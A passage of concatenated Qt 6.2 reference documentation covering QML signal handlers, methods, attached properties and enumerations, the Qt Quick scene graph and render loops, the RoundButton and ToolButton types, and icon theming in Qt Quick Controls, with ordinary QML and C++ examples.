 Signal handlers are a special sort of [method attribute](qtqml-syntax-objectattributes#method-attributes), where the method implementation is invoked by the QML engine whenever the associated signal is emitted. Adding a signal to an object definition in QML will automatically add an associated signal handler to the object definition, which has, by default, an empty implementation. Clients can provide an implementation, to implement program logic.

 Consider the following `SquareButton` type, whose definition is provided in the `SquareButton.qml` file as shown below, with signals `activated` and `deactivated`:

 
```
// SquareButton.qml
Rectangle {
    id: root

    signal activated(real xPosition, real yPosition)
    signal deactivated

    property int side: 100
    width: side; height: side

    MouseArea {
        anchors.fill: parent
        onReleased: root.deactivated()
        onPressed: (mouse)=> root.activated(mouse.x, mouse.y)
    }
}
```
 These signals could be received by any `SquareButton` objects in another QML file in the same directory, where implementations for the signal handlers are provided by the client:

 
```
// myapplication.qml
SquareButton {
    onDeactivated: console.log("Deactivated!")
    onActivated: (xPosition, yPosition)=> console.log("Activated at " + xPosition + "," + yPosition)
}
```
 See the [Signal and Handler Event System](qtqml-syntax-signals) for more details on use of signals.

 #### Property Change Signal Handlers

 Signal handlers for property change signal take the syntax form *on<Property>Changed* where *<Property>* is the name of the property, with the first letter capitalized. For example, although the [TextInput](qml-qtquick-textinput) type documentation does not document a `textChanged` signal, this signal is implicitly available through the fact that [TextInput](qml-qtquick-textinput) has a [text](qml-qtquick-textinput#text-prop) property and so it is possible to write an `onTextChanged` signal handler to be called whenever this property changes:

 
```
import QtQuick 2.0

TextInput {
    text: "Change this!"

    onTextChanged: console.log("Text has changed to:", text)
}
```
 ### Method Attributes

 A method of an object type is a function which may be called to perform some processing or trigger further events. A method can be connected to a signal so that it is automatically invoked whenever the signal is emitted. See [Signal and Handler Event System](qtqml-syntax-signals) for more details.

 #### Defining Method Attributes

 A method may be defined for a type in C++ by tagging a function of a class which is then registered with the QML type system with [Q\_INVOKABLE](qobject#Q_INVOKABLE) or by registering it as a [Q\_SLOT](qobject#Q_SLOT) of the class. Alternatively, a custom method can be added to an object declaration in a QML document with the following syntax:

 
```
function <functionName>([<parameterName>[, ...]]) { <body> }
```
 Methods can be added to a QML type in order to define standalone, reusable blocks of JavaScript code. These methods can be invoked either internally or by external objects.

 Unlike signals, method parameter types do not have to be declared as they default to the `var` type.

 Attempting to declare two methods or signals with the same name in the same type block is an error. However, a new method may reuse the name of an existing method on the type. (This should be done with caution, as the existing method may be hidden and become inaccessible.)

 Below is a [Rectangle](qml-qtquick-rectangle) with a `calculateHeight()` method that is called when assigning the `height` value:

 
```
import QtQuick 2.0
Rectangle {
    id: rect

    function calculateHeight() {
        return rect.width / 2;
    }

    width: 100
    height: calculateHeight()
}
```
 If the method has parameters, they are accessible by name within the method. Below, when the [MouseArea](qml-qtquick-mousearea) is clicked it invokes the `moveTo()` method which can then refer to the received `newX` and `newY` parameters to reposition the text:

 
```
import QtQuick 2.0

Item {
    width: 200; height: 200

    MouseArea {
        anchors.fill: parent
        onClicked: (mouse)=> label.moveTo(mouse.x, mouse.y)
    }

    Text {
        id: label

        function moveTo(newX, newY) {
            label.x = newX;
            label.y = newY;
        }

        text: "Move me!"
    }
}
```
 ### Attached Properties and Attached Signal Handlers

 *Attached properties* and *attached signal handlers* are mechanisms that enable objects to be annotated with extra properties or signal handlers that are otherwise unavailable to the object. In particular, they allow objects to access properties or signals that are specifically relevant to the individual object.

 A QML type implementation may choose to [create an *attaching type* in C++](qtqml-cppintegration-definetypes#providing-attached-properties) with particular properties and signals. Instances of this type can then be created and *attached* to specific objects at run time, allowing those objects to access the properties and signals of the attaching type. These are accessed by prefixing the properties and respective signal handlers with the name of the attaching type.

 References to attached properties and handlers take the following syntax form:

 
```
<AttachingType>.<propertyName>
<AttachingType>.on<SignalName>
```
 For example, the [ListView](qml-qtquick-listview) type has an attached property [ListView.isCurrentItem](qml-qtquick-listview#isCurrentItem-attached-prop) that is available to each delegate object in a [ListView](qml-qtquick-listview). This can be used by each individual delegate object to determine whether it is the currently selected item in the view:

 
```
import QtQuick 2.0

ListView {
    width: 240; height: 320
    model: 3
    delegate: Rectangle {
        width: 100; height: 30
        color: ListView.isCurrentItem ? "red" : "yellow"
    }
}
```
 In this case, the name of the *attaching type* is `ListView` and the property in question is `isCurrentItem`, hence the attached property is referred to as `ListView.isCurrentItem`.

 An attached signal handler is referred to in the same way. For example, the [Component.onCompleted](qml-qtqml-component#completed-signal) attached signal handler is commonly used to execute some JavaScript code when a component's creation process has been completed. In the example below, once the [ListModel](qml-qtqml-models-listmodel) has been fully created, its `Component.onCompleted` signal handler will automatically be invoked to populate the model:

 
```
import QtQuick 2.0

ListView {
    width: 240; height: 320
    model: ListModel {
        id: listModel
        Component.onCompleted: {
            for (var i = 0; i < 10; i++)
                listModel.append({"Name": "Item " + i})
        }
    }
    delegate: Text { text: index }
}
```
 Since the name of the *attaching type* is `Component` and that type has a [completed](qml-qtqml-component#completed-signal) signal, the attached signal handler is referred to as `Component.onCompleted`.

 #### A Note About Accessing Attached Properties and Signal Handlers

 A common error is to assume that attached properties and signal handlers are directly accessible from the children of the object to which these attributes have been attached. This is not the case. The instance of the *attaching type* is only attached to specific objects, not to the object and all of its children.

 For example, below is a modified version of the earlier example involving attached properties. This time, the delegate is an [Item](qml-qtquick-item) and the colored [Rectangle](qml-qtquick-rectangle) is a child of that item:

 
```
import QtQuick 2.0

ListView {
    width: 240; height: 320
    model: 3
    delegate: Item {
        width: 100; height: 30

        Rectangle {
            width: 100; height: 30
            color: ListView.isCurrentItem ? "red" : "yellow"    // WRONG! This won't work.
        }
    }
}
```
 This does not work as expected because `ListView.isCurrentItem` is attached *only* to the root delegate object, and not its children. Since the [Rectangle](qml-qtquick-rectangle) is a child of the delegate, rather than being the delegate itself, it cannot access the `isCurrentItem` attached property as `ListView.isCurrentItem`. So instead, the rectangle should access `isCurrentItem` through the root delegate:

 
```
ListView {
    //....
    delegate: Item {
        id: delegateItem
        width: 100; height: 30

        Rectangle {
            width: 100; height: 30
            color: delegateItem.ListView.isCurrentItem ? "red" : "yellow"   // correct
        }
    }
}
```
 Now `delegateItem.ListView.isCurrentItem` correctly refers to the `isCurrentItem` attached property of the delegate.

 ### Enumeration Attributes

 Enumerations provide a fixed set of named choices. They can be declared in QML using the `enum` keyword:

 
```
// MyText.qml
Text {
    enum TextType {
        Normal,
        Heading
    }
}
```
 As shown above, enumeration types (e.g. `TextType`) and values (e.g. `Normal`) must begin with an uppercase letter.

 Values are referred to via `<Type>.<EnumerationType>.<Value>` or `<Type>.<Value>`.

 
```
// MyText.qml
Text {
    enum TextType {
        Normal,
        Heading
    }

    property int textType: MyText.TextType.Normal

    font.bold: textType == MyText.TextType.Heading
    font.pixelSize: textType == MyText.TextType.Heading ? 24 : 12
}
```
 More information on enumeration usage in QML can be found in the [QML Basic Types](qtqml-typesystem-basictypes) [enumeration](qml-enumeration) documentation.

 The ability to declare enumerations in QML was introduced in Qt 5.10.

 **See also** [QQmlComponent::createWithInitialProperties](qqmlcomponent#createWithInitialProperties) and [QQmlApplicationEngine::setInitialProperties](qqmlapplicationengine#setInitialProperties).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-syntax-objectattributes.html>

Qt Quick Scene Graph
====================

 The Scene Graph in Qt Quick
---------------------------

 Qt Quick 2 makes use of a dedicated scene graph that is then traversed and rendered via a graphics API such as OpenGL ES, OpenGL, Vulkan, Metal, or Direct 3D. Using a scene graph for graphics rather than the traditional imperative painting systems ([QPainter](qpainter) and similar), means the scene to be rendered can be retained between frames and the complete set of primitives to render is known before rendering starts. This opens up for a number of optimizations, such as batch rendering to minimize state changes and discarding obscured primitives.

 For example, say a user-interface contains a list of ten items where each item has a background color, an icon and a text. Using the traditional drawing techniques, this would result in 30 draw calls and a similar amount of state changes. A scene graph, on the other hand, could reorganize the primitives to render such that all backgrounds are drawn in one call, then all icons, then all the text, reducing the total amount of draw calls to only 3. Batching and state change reduction like this can greatly improve performance on some hardware.

 The scene graph is closely tied to Qt Quick 2.0 and can not be used stand-alone. The scene graph is managed and rendered by the [QQuickWindow](qquickwindow) class and custom Item types can add their graphical primitives into the scene graph through a call to [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)().

 The scene graph is a graphical representation of the Item scene, an independent structure that contains enough information to render all the items. Once it has been set up, it can be manipulated and rendered independently of the state of the items. On many platforms, the scene graph will even be rendered on a dedicated render thread while the GUI thread is preparing the next frame's state.

  **Note:** Much of the information listed on this page is specific to the built-in, default behavior of the Qt Quick Scene graph. When using an alternative scene graph adaptation, such as, the `software` adaptation, not all concepts may apply. For more information about the different scene graph adaptations see [Scene Graph Adaptations](qtquick-visualcanvas-adaptations).

  Qt Quick Scene Graph Structure
------------------------------

 The scene graph is composed of a number of predefined node types, each serving a dedicated purpose. Although we refer to it as a scene graph, a more precise definition is node tree. The tree is built from [QQuickItem](qquickitem) types in the QML scene and internally the scene is then processed by a renderer which draws the scene. The nodes themselves do **not** contain any active drawing code nor virtual `paint()` function.

 Even though the node tree is mostly built internally by the existing Qt Quick QML types, it is possible for users to also add complete subtrees with their own content, including subtrees that represent 3D models.

 ### Nodes

 The most important node for users is the [QSGGeometryNode](qsggeometrynode). It is used to define custom graphics by defining its geometry and material. The geometry is defined using [QSGGeometry](qsggeometry) and describes the shape or mesh of the graphical primitive. It can be a line, a rectangle, a polygon, many disconnected rectangles, or complex 3D mesh. The material defines how the pixels in this shape are filled.

 A node can have any number of children and geometry nodes will be rendered so they appear in child-order with parents behind their children.

  **Note:** This does not say anything about the actual rendering order in the renderer. Only the visual output is guaranteed.

  The available nodes are: 




|  |  |
| --- | --- |
| [QSGClipNode](qsgclipnode) | Implements the clipping functionality in the scene graph |
| [QSGGeometryNode](qsggeometrynode) | Used for all rendered content in the scene graph |
| [QSGNode](qsgnode) | The base class for all nodes in the scene graph |
| [QSGOpacityNode](qsgopacitynode) | Used to change opacity of nodes |
| [QSGTransformNode](qsgtransformnode) | Implements transformations in the scene graph |

 Custom nodes are added to the scene graph by subclassing [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)() and setting the [QQuickItem::ItemHasContents](qquickitem#Flag-enum) flag.

  **Warning:** It is crucial that native graphics (OpenGL, Vulkan, Metal, etc.) operations and interaction with the scene graph happens exclusively on the render thread, primarily during the updatePaintNode() call. The rule of thumb is to only use classes with the "QSG" prefix inside the [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)() function.

  For more details, see the [Scene Graph - Custom Geometry](https://doc.qt.io/qt-6.2/qtquick-scenegraph-customgeometry-example.html).

 #### Preprocessing

 Nodes have a virtual [QSGNode::preprocess](qsgnode#preprocess)() function, which will be called before the scene graph is rendered. Node subclasses can set the flag [QSGNode::UsePreprocess](qsgnode#Flag-enum) and override the [QSGNode::preprocess](qsgnode#preprocess)() function to do final preparation of their node. For example, dividing a bezier curve into the correct level of detail for the current scale factor or updating a section of a texture.

 #### Node Ownership

 Ownership of the nodes is either done explicitly by the creator or by the scene graph by setting the flag [QSGNode::OwnedByParent](qsgnode#Flag-enum). Assigning ownership to the scene graph is often preferable as it simplifies cleanup when the scene graph lives outside the GUI thread.

 ### Materials

 The material describes how the interior of a geometry in a [QSGGeometryNode](qsggeometrynode) is filled. It encapsulates graphics shaders for the vertex and fragment stages of the graphics pipeline and provides ample flexibility in what can be achieved, though most of the Qt Quick items themselves only use very basic materials, such as solid color and texture fills.

 For users who just want to apply custom shading to a QML Item type, it is possible to do this directly in QML using the [ShaderEffect](qml-qtquick-shadereffect) type.

 Below is a complete list of material classes: 




|  |  |
| --- | --- |
| [QSGFlatColorMaterial](qsgflatcolormaterial) | Convenient way of rendering solid colored geometry in the scene graph |
| [QSGMaterial](qsgmaterial) | Encapsulates rendering state for a shader program |
| [QSGMaterialShader](qsgmaterialshader) | Represents a graphics API independent shader program |
| [QSGMaterialType](qsgmaterialtype) | Used as a unique type token in combination with QSGMaterial |
| [QSGOpaqueTextureMaterial](qsgopaquetexturematerial) | Convenient way of rendering textured geometry in the scene graph |
| [QSGTextureMaterial](qsgtexturematerial) | Convenient way of rendering textured geometry in the scene graph |
| [QSGVertexColorMaterial](qsgvertexcolormaterial) | Convenient way of rendering per-vertex colored geometry in the scene graph |

 ### Convenience Nodes

 The scene graph API is low-level and focuses on performance rather than convenience. Writing custom geometries and materials from scratch, even the most basic ones, requires a non-trivial amount of code. For this reason, the API includes a few convenience classes to make the most common custom nodes readily available.

 * [QSGSimpleRectNode](qsgsimplerectnode) - a [QSGGeometryNode](qsggeometrynode) subclass which defines a rectangular geometry with a solid color material.
* [QSGSimpleTextureNode](qsgsimpletexturenode) - a [QSGGeometryNode](qsggeometrynode) subclass which defines a rectangular geometry with a texture material.

 Scene Graph and Rendering
-------------------------

 The rendering of the scene graph happens internally in the [QQuickWindow](qquickwindow) class, and there is no public API to access it. There are, however, a few places in the rendering pipeline where the user can attach application code. This can be used to add custom scene graph content or to insert arbitrary rendering commands by directly calling the graphics API (OpenGL, Vulkan, Metal, etc.) that is in use by the scene graph. The integration points are defined by the render loop.

 For detailed description of how the scene graph renderer works, see [Qt Quick Scene Graph Default Renderer](qtquick-visualcanvas-scenegraph-renderer).

 There are two render loop variants available: `basic`, and `threaded`. `basic` is single-threaded, while `threaded` performs scene graph rendering on a dedicated thread. Qt attempts to choose a suitable loop based on the platform and possibly the graphics drivers in use. When this is not satisfactory, or for testing purposes, the environment variable `QSG_RENDER_LOOP` can be used to force the usage of a given loop. To verify which render loop is in use, enable the `qt.scenegraph.general` [logging category](qloggingcategory).

  **Note:** The `threaded` render loop relies on the graphics API implementation for throttling, for example, by requesting a swap interval of 1 in case of OpenGL. Some graphics drivers allow users to override this setting and turn it off, ignoring Qt's request. Without blocking in the swap buffers operation (or elsewhere), the render loop will run animations too fast and spin the CPU at 100%. If a system is known to be unable to provide vsync-based throttling, use the `basic` render loop instead by setting `QSG_RENDER_LOOP=basic` in the environment.

  ### Threaded Render Loop ('threaded')

 On many configurations, the scene graph rendering will happen on a dedicated render thread. This is done to increase parallelism of multi-core processors and make better use of stall times such as waiting for a blocking swap buffer call. This offers significant performance improvements, but imposes certain restrictions on where and when interaction with the scene graph can happen.

 The following is a simple outline of how a frame gets rendered with the threaded render loop and OpenGL. The steps are the same with other graphics APIs as well, apart from the OpenGL context specifics.

 ![]


1. A change occurs in the QML scene, causing `QQuickItem::update()` to be called. This can be the result of for instance an animation or user input. An event is posted to the render thread to initiate a new frame.
2. The render thread prepares to draw a new frame and initiates a block on the GUI thread.
3. While the render thread is preparing the new frame, the GUI thread calls [QQuickItem::updatePolish](qquickitem#updatePolish)() to do final touch-up of items before they are rendered.
4. GUI thread is blocked.
5. The [QQuickWindow::beforeSynchronizing](qquickwindow#beforeSynchronizing)() signal is emitted. Applications can make direct connections (using [Qt::DirectConnection](qt#ConnectionType-enum)) to this signal to do any preparation required before calls to [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)().
6. Synchronization of the QML state into the scene graph. This is done by calling the [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)() function on all items that have changed since the previous frame. This is the only time the QML items and the nodes in the scene graph interact.
7. GUI thread block is released.
8. The scene graph is rendered:
	1. The [QQuickWindow::beforeRendering](qquickwindow#beforeRendering)() signal is emitted. Applications can make direct connections (using [Qt::DirectConnection](qt#ConnectionType-enum)) to this signal to use custom graphics API calls which will then stack visually beneath the QML scene.
	2. Items that have specified [QSGNode::UsePreprocess](qsgnode#Flag-enum), will have their [QSGNode::preprocess](qsgnode#preprocess)() function invoked.
	3. The renderer processes the nodes.
	4. The renderer generates states and records draw calls for the graphics API in use.
	5. The [QQuickWindow::afterRendering](qquickwindow#afterRendering)() signal is emitted. Applications can make direct connections (using [Qt::DirectConnection](qt#ConnectionType-enum)) to this signal to issue custom graphics API calls which will then stack visually over the QML scene.
	6. The frame is now ready. The buffers are swapped (OpenGL), or a present command is recorded and the command buffers are submitted to a graphics queue (Vulkan, Metal). [QQuickWindow::frameSwapped](qquickwindow#frameSwapped)() is emitted.
9. While the render thread is rendering, the GUI is free to advance animations, process events, etc.

 The threaded renderer is currently used by default on Windows with Direct3D 11 and with OpenGL when using opengl32.dll, Linux excluding Mesa llvmpipe, macOS with Metal, mobile platforms, and Embedded Linux with EGLFS, and with Vulkan regardless of the platform. All this may change in future releases. It is always possible to force use of the threaded renderer by setting `QSG_RENDER_LOOP=threaded` in the environment.

 ### Non-threaded Render Loop ('basic')

 The non-threaded render loop is currently used by default on Windows with OpenGL when not using the system's standard opengl32.dll, macOS with OpenGL, and Linux with some drivers. For the latter this is mostly a precautionary measure, as not all combinations of OpenGL drivers and windowing systems have been tested.

 On macOS and OpenGL, the threaded render loop is not supported when building with XCode 10 (10.14 SDK) or later, since this opts in to layer-backed views on macOS 10.14. You can build with Xcode 9 (10.13 SDK) to opt out of layer-backing, in which case the threaded render loop is available and used by default. There is no such restriction with Metal.

 Even when using the non-threaded render loop, you should write your code as if you are using the threaded renderer, as failing to do so will make the code non-portable.

 The following is a simplified illustration of the frame rendering sequence in the non-threaded renderer.

 ![]


### Custom control over rendering with QQuickRenderControl

 When using [QQuickRenderControl](qquickrendercontrol), the responsibility for driving the rendering loop is transferred to the application. In this case no built-in render loop is used. Instead, it is up to the application to invoke the polish, synchronize and rendering steps at the appropriate time. It is possible to implement either a threaded or non-threaded behavior similar to the ones shown above.

 ### Mixing Scene Graph and the native graphics API

 The scene graph offers two methods for integrating application-provided graphics commands: by issuing OpenGL, Vulkan, Metal, etc. commands directly, and by creating a textured node in the scene graph.

 By connecting to the [QQuickWindow::beforeRendering](qquickwindow#beforeRendering)() and [QQuickWindow::afterRendering](qquickwindow#afterRendering)() signals, applications can make OpenGL calls directly into the same context as the scene graph is rendering to. With APIs like Vulkan or Metal, applications can query native objects, such as, the scene graph's command buffer, via [QSGRendererInterface](qsgrendererinterface), and record commands to it as they see fit. As the signal names indicate, the user can then render content either under a Qt Quick scene or over it. The benefit of integrating in this manner is that no extra framebuffer nor memory is needed to perform the rendering, and a possibly expensive texturing step is eliminated. The downside is that Qt Quick decides when to call the signals and this is the only time the OpenGL application is allowed to draw.

 The [Scene Graph - OpenGL Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-openglunderqml-example.html) example gives an example on how to use these signals using OpenGL.

 The [Scene Graph - Direct3D 11 Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-d3d11underqml-example.html) example gives an example on how to use these signals using Direct3D.

 The [Scene Graph - Metal Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metalunderqml-example.html) example gives an example on how to use these signals using Metal.

 The [Scene Graph - Vulkan Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-vulkanunderqml-example.html) example gives an example on how to use these signals using Vulkan.

 The other alternative, only available for OpenGL currently, is to create a [QQuickFramebufferObject](qquickframebufferobject), render into it, and let it be displayed in the scene graph as a texture. The [Scene Graph - Rendering FBOs](https://doc.qt.io/qt-6.2/qtquick-scenegraph-fboitem-example.html) example shows how this can be done.

 Graphics APIs other than OpenGL can also follow this approach, even though [QQuickFramebufferObject](qquickframebufferobject) does not currently support them. Creating and rendering to a texture directly with the underlying API, followed by wrapping and using this resource in a Qt Quick scene in a custom [QQuickItem](qquickitem), is demonstrated in the [Scene Graph - Metal Texture Import](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metaltextureimport-example.html) example. That example uses Metal, the concepts however apply to all other graphics APIs as well.

  **Warning:** Starting with Qt 6.0, direct usage of the underlying graphics API must be enclosed by a call to [QQuickWindow::beginExternalCommands](qquickwindow#beginExternalCommands)() and [QQuickWindow::endExternalCommands](qquickwindow#endExternalCommands)(). This concept may be familiar from [QPainter::beginNativePainting](qpainter#beginNativePainting)(), and serves a similar purpose: it allows the Qt Quick Scene Graph to recognize that any cached state and assumptions about the state within the currently recorded render pass, if there is one, are now invalid, because the application code may have altered it by working directly with the underlying graphics API.

   **Warning:** When mixing OpenGL content with scene graph rendering, it is important the application does not leave the OpenGL context in a state with buffers bound, attributes enabled, special values in the z-buffer or stencil-buffer or similar. Doing so can result in unpredictable behavior.

   **Warning:** The custom rendering code must be thread aware in the sense that it should not assume being executed on the GUI (main) thread of the application.

  ### Custom Items using QPainter

 The [QQuickItem](qquickitem) provides a subclass, [QQuickPaintedItem](qquickpainteditem), which allows the users to render content using [QPainter](qpainter).

  **Warning:** Using [QQuickPaintedItem](qquickpainteditem) uses an indirect 2D surface to render its content, either using software rasterization or using an OpenGL framebuffer object (FBO), so the rendering is a two-step operation. First rasterize the surface, then draw the surface. Using scene graph API directly is always significantly faster.

  Logging Support
---------------

 The scene graph has support for a number of logging categories. These can be useful in tracking down both performance issues and bugs in addition to being helpful to Qt contributors.

 * `qt.scenegraph.time.texture` - logs the time spent doing texture uploads
* `qt.scenegraph.time.compilation` - logs the time spent doing shader compilation
* `qt.scenegraph.time.renderer` - logs the time spent in the various steps of the renderer
* `qt.scenegraph.time.renderloop` - logs the time spent in the various steps of the render loop
* `qt.scenegraph.time.glyph` - logs the time spent preparing distance field glyphs
* `qt.scenegraph.general` - logs general information about various parts of the scene graph and the graphics stack
* `qt.scenegraph.renderloop` - creates a detailed log of the various stages involved in rendering. This log mode is primarily useful for developers working on Qt.

 The legacy `QSG_INFO` environment variable is also available. Setting it to a non-zero value enables the `qt.scenegraph.general` category.

  **Note:** When encountering graphics problems, or when in doubt which render loop or graphics API is in use, always start the application with at least `qt.scenegraph.general` and `qt.rhi.*` enabled, or `QSG_INFO=1` set. This will then print some essential information onto the debug output during initialization.

  Scene Graph Backend
-------------------

 In addition to the public API, the scene graph has an adaptation layer which opens up the implementation to do hardware specific adaptations. This is an undocumented, internal and private plugin API, which lets hardware adaptation teams make the most of their hardware. It includes:

 * Custom textures; specifically the implementation of [QQuickWindow::createTextureFromImage](qquickwindow#createTextureFromImage) and the internal representation of the texture used by [Image](qml-qtquick-image) and [BorderImage](qml-qtquick-borderimage) types.
* Custom renderer; the adaptation layer lets the plugin decide how the scene graph is traversed and rendered, making it possible to optimize the rendering algorithm for a specific hardware or to make use of extensions which improve performance.
* Custom scene graph implementation of many of the default QML types, including its text and font rendering.
* Custom animation driver; allows the animation system to hook into the low-level display vertical refresh to get smooth rendering.
* Custom render loop; allows better control over how QML deals with multiple windows.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-visualcanvas-scenegraph.html>

RoundButton QML Type
====================

 A push-button control with rounded corners that can be clicked by the user. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.8 |
|  Inherits: | [Button](qml-qtquick-controls2-button) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-roundbutton-members.html)

 Properties
----------

 * **[radius](qml-qtquick-controls2-roundbutton#radius-prop)** : real

 Detailed Description
--------------------

 ![]


RoundButton is identical to [Button](qml-qtquick-controls2-button), except that it has a [radius](qml-qtquick-controls2-roundbutton#radius-prop) property which allows the corners to be rounded without having to customize the [background](stylesheet-reference#background).

 
```
RoundButton {
    text: "\u2713" // Unicode Character 'CHECK MARK'
    onClicked: textArea.readOnly = true
}
```
 **See also** [Customizing RoundButton](qtquickcontrols2-customize#customizing-roundbutton) and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  radius : [real](qml-real)

 This property holds the radius of the button.

 To create a relatively square button that has slightly rounded corners, use a small value, such as `3`.

 To create a completely circular button (the default), use a value that is equal to half of the width or height of the button, and make the button's width and height identical.

 To reset this property back to the default value, set its value to `undefined`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-roundbutton.html>

ToolButton QML Type
===================

 Button with a look suitable for a [ToolBar](qml-qtquick-controls2-toolbar). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Button](qml-qtquick-controls2-button) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-toolbutton-members.html)

 Detailed Description
--------------------

 ToolButton is functionally similar to [Button](qml-qtquick-controls2-button), but provides a look that is more suitable within a [ToolBar](qml-qtquick-controls2-toolbar).

 ![]



```
ToolBar {
    RowLayout {
        anchors.fill: parent
        ToolButton {
            text: qsTr("‹")
            onClicked: stack.pop()
        }
        Label {
            text: "Title"
            elide: Label.ElideRight
            horizontalAlignment: Qt.AlignHCenter
            verticalAlignment: Qt.AlignVCenter
            Layout.fillWidth: true
        }
        ToolButton {
            text: qsTr("⋮")
            onClicked: menu.open()
        }
    }
}
```
 ToolButton inherits its API from [AbstractButton](qml-qtquick-controls2-abstractbutton). For instance, you can set [text](qml-qtquick-controls2-abstractbutton#text-prop), display an [icon](qtquickcontrols2-icons), and react to [clicks](qml-qtquick-controls2-abstractbutton#clicked-signal) using the [AbstractButton](qml-qtquick-controls2-abstractbutton) API.

 **See also** [ToolBar](qml-qtquick-controls2-toolbar), [Customizing ToolButton](qtquickcontrols2-customize#customizing-toolbutton), and [Button Controls](qtquickcontrols2-buttons).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-toolbutton.html>

Icons in Qt Quick Controls
==========================

 Qt Quick Controls comes with support for icons since Qt 5.10. This means, Buttons, item delegates, and menu items are now capable of presenting an icon in addition to a text label.

 Using Icons
-----------

 [AbstractButton](qml-qtquick-controls2-abstractbutton#icon-prop) and [Action](qml-qtquick-controls2-action#icon-prop) provide the following properties through which icons can be set:

 * `icon.name`
* `icon.source`
* `icon.width`
* `icon.height`
* `icon.color`
* `icon.cache`

 Theme icons are referenced by a name, and regular icons by a source URL. Both `icon.name` and `icon.source` can be set to ensure that an icon will always be found. If the icon is found in the theme, it will always be used; even if `icon.source` is also set. If the icon is not found in the theme, `icon.source` will be used instead.

 
```
Button {
    icon.name: "edit-cut"
    icon.source: "images/cut.png"
}
```
 Each [Qt Quick Controls 2 style](qtquickcontrols2-styles) requests a default icon size and color according to their guidelines, but it is possible to override these by setting the `icon.width`, `icon.height`, and `icon.color` properties.

 The image that is loaded by an icon whose `width` and `height` are not set depends on the type of icon in use. For theme icons, the closest available size will be chosen. For regular icons, the behavior is the same as the [sourceSize](qml-qtquick-image#sourceSize-prop) property of [Image](qml-qtquick-image).

 The icon color is specified by default so that it matches the text color in different states. In order to use an icon with the original colors, set the color to `"transparent"`.

 
```
Button {
    icon.color: "transparent"
    icon.source: "images/logo.png"
}
```
 For buttons, the [display](qml-qtquick-controls2-abstractbutton#display-prop) property can be used to control how the icon and text are displayed within the button.

 The `icon.cache` property controls whether or not the icon image is cached. For more information, see [cache](qml-qtquick-image#cache-prop).

 Icon Themes
-----------

 Compliant icon themes must follow the freedesktop icon theme specification, which can be obtained here: <http://standards.freedesktop.org/icon-theme-spec/icon-theme-spec-latest.html>.

 Traditionally, only Linux and UNIX support icon themes on the platform level, but it is possible to bundle a compliant icon theme in an application to use themed icons on any platform.

 The default [icon theme search paths](qicon#themeSearchPaths) depend on the platform. On Linux and UNIX, the search path will use the `XDG_DATA_DIRS` environment variable if available. All platforms have the resource directory `:/icons` as a fallback. Custom icon theme search paths can be set with [QIcon::setThemeSearchPaths](qicon#setThemeSearchPaths)().

 The following example bundles an icon theme called *mytheme* into the application's resources using [Qt's resource system](resources).

 
```
<RCC>
    <qresource prefix="/">
        <file>icons/mytheme/index.theme</file>
        <file>icons/mytheme/32x32/myicon.png</file>
        <file>icons/mytheme/32x32@2/myicon.png</file>
    </qresource>
</RCC>
```
 The `index.theme` file describes the general attributes of the icon theme, and lists the available theme icon directories:

 
```
[Icon Theme]
Name=mytheme
Comment=My Icon Theme

Directories=32x32,32x32@2

[32x32]
Size=32
Type=Fixed

[32x32@2]
Size=32
Scale=2
Type=Fixed
```
 In order to use the bundled icon theme, an application should call [QIcon::setThemeName](qicon#setThemeName)() before loading the main QML file:

 
```
#include <QGuiApplication>
#include <QQmlApplicationEngine>
#include <QIcon>

int main(int argc, char *argv[])
{
    QGuiApplication app(argc, argv);

    QIcon::setThemeName("mytheme"); // <--

    QQmlApplicationEngine engine;
    engine.load(QUrl(QStringLiteral("qrc:/main.qml")));
    return app.exec();
}
```
 Now it is possible to use named icons from the bundled icon theme without having to specify any fallback source:

 
```
Button {
    icon.name: "myicon"
}
```
 The [Gallery example](https://doc.qt.io/qt-6.2/qtquickcontrols-gallery-example.html) and [Wearable Demo](https://doc.qt.io/qt-6.2/qtquickcontrols-wearable-example.html) provide complete runnable applications with a bundled icon theme.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-icons.html>

Button Controls
===============

 Qt Quick Controls offers a selection of button-like controls.

 

|  |  |
| --- | --- |
| [AbstractButton](qml-qtquick-controls2-abstractbutton) | Abstract base type providing functionality common to buttons |
| [Button](qml-qtquick-controls2-button) | Push-button that can be clicked to perform a command or answer a question |
| [CheckBox](qml-qtquick-controls2-checkbox) | Check button that can be toggled on or off |
| [DelayButton](qml-qtquick-controls2-delaybutton) | Check button that triggers when held down long enough |
| [RadioButton](qml-qtquick-controls2-radiobutton) | Exclusive radio button that can be toggled on or off |
| [RoundButton](qml-qtquick-controls2-roundbutton) | A push-button control with rounded corners that can be clicked by the user |
| [Switch](qml-qtquick-controls2-switch) | Button that can be toggled on or off |
| [ToolButton](qml-qtquick-controls2-toolbutton) | Button with a look suitable for a ToolBar |

 Each type of button has its own specific use case. The following sections offer guidelines for choosing the appropriate type of button, depending on the use case.

 Button Control
--------------

